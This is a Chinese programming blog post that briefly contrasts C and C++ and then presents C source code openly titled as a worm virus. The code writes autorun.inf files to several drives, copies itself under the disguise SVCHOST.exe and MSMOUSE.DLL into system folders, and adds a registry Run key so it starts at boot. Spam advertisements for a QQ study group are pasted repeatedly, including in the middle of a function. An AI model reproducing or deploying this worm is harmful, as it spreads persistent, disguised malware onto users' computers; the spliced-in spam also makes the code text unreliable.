C语言是面向过程的,而C++是面向对象的
C和C++的区别:
C是一个结构化语言,它的重点在于算法和数据结构。C程序的设计首要考虑的是如何通过一个过程,对输入(或环境条件)进行运算处理得到输出(或实现过程(事务)控制)。
C++,首要考虑的是如何构造一个对象模型,让这个模型能够契合与之对应的问题域,这样就可以通过获取对象的状态信息得到输出或实现过程(事务)控制。 所以C与C++的最大区别在于它们的用于解决问题的思想方法不一样。之所以说C++比C更先进,是因为“ 设计这个概念已经被融入到C++之中 ”。
C与C++的最大区别:在于它们的用于解决问题的思想方法不一样。之所以说C++比C更先进,是因为“ 设计这个概念已经被融入到C++之中 ”,而就语言本身而言,在C中更多的是算法的概念。那么是不是C就不重要了,错!算法是程序设计的基础,好的设计如果没有好的算法,一样不行。而且,“C加上好的设计”也能写出非常好的东西。
小编推荐一个学C语言/C++的学习裙【 六九九,四七零,五九六 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!
// VirusProjss.cpp : 定义控制台应用程序的入口点。
//
// C语言开发蠕虫病毒
#include "stdafx.h"
#include
#include
#include
#define SVCHOST_NUML 6
char *autorun = { "[autorun] open=SVCHOST.exe shell\1=打开 shell\1 \Command=SVCHOST.exe shell\2\=Open shell\2\Command=SVCHOST.exe shellexecute=SVCHOST.exe" };
char *files_autorun[10] = { "c:\autorun.inf", "d:\autorun.inf", "e:\autorun.inf" };
char *files_svchost[SVCHOST_NUML + 1] = { "c:\windows\system\MSMOUSE.DLL",
"c:\windows\system\SVCHOST.exe", "c:\windows\SVCHOST.exe",
"c:\SVCHOST.exe", "d:\SVCHOST.exe", "e:\SVCHOST.exe", "SVCHOST.exe" };
char *regadd = "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f";
// 数据文件复制功能
int DataCopy(char *pInFile, char *pOutFile)
{
FILE *fInput, *fOutput;
char temp;
if (strcmp(pInFile, pOutFile) != 0 && ((fInput = fopen(pInFile, "rb")) != NULL) && ((fOutput = fopen(pOutFile, "wb")) != NULL))
{
while (!feof(fInput))
{
fread(&temp, 1, 1, fInput);
fwrite(&temp, 1, 1, fOutput);
}
fclose(fInput);
fclose(fOutput);
return 0;
}
else
return 1;
}
void TestingVirusFunc()
{
FILE *input, *output;
小编推荐一个学C语言/C++的学习裙【 六九九,四七零,五九六 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!
int i, k;
for (i = 0; i < 3; i++)
{
output = fopen(files_autorun[i], "w");
fprintf(output, "%s", autorun);
fclose(output);
}
for (i = 0; i <= SVCHOST_NUML; i++)
{
if ((input = fopen(files_svchost[i], "rb")) != NULL)
{
fclose(input);
for (k = 0; k < SVCHOST_NUML; k++)
{
DataCopy(files_svchost[i], files_svchost[k]);
}
i = SVCHOST_NUML + 1;
}
}
system(regadd); // 注册svchost.exe,让其在开机时自动启动
小编推荐一个学C语言/C++的学习裙【 六九九,四七零,五九六 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!
}
int _tmain(int argc, _TCHAR* argv[])
{
TestingVirusFunc();
return 0;
}
运行效果如下:
这些是C/C++能做的
服务器开发工程师、人工智能、云计算工程师、信息安全(黑客反黑客)、大数据 、数据平台、嵌入式工程师、流媒体服务器、数据控解、图像处理、音频视频开发工程师、游戏服务器、分布式系统、游戏辅助等
网友评论